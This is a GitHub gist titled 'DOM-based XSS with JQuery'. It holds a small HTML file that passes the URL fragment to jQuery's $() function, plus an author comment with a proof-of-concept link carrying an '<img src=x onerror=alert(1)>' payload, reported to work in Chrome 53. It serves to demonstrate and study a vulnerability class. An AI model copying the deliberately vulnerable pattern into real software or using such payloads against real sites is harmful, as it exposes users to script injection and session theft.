Skip to content

Instantly share code, notes, and snippets.

@inaz2

inaz2/test.html

Created October 19, 2016 05:41
Show Gist options
  • Save inaz2/ca8b0e4ed76572ad84736aedc05d1d3f to your computer and use it in GitHub Desktop.
Save inaz2/ca8b0e4ed76572ad84736aedc05d1d3f to your computer and use it in GitHub Desktop.
Download ZIP
DOM-based XSS with JQuery
Raw
test.html
<script src="https://code.jquery.com/jquery-3.1.1.min.js"></script>
<script>
$(location.hash.slice(1));
</script>
@inaz2
Copy link
Author

inaz2 commented Oct 19, 2016 

https://cdn.rawgit.com/inaz2/ca8b0e4ed76572ad84736aedc05d1d3f/raw/60787912fdbb94ea89a0ff44be61f49a50e9ab70/test.html#<img src=x onerror=alert(1)>

Works on Google Chrome 53

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment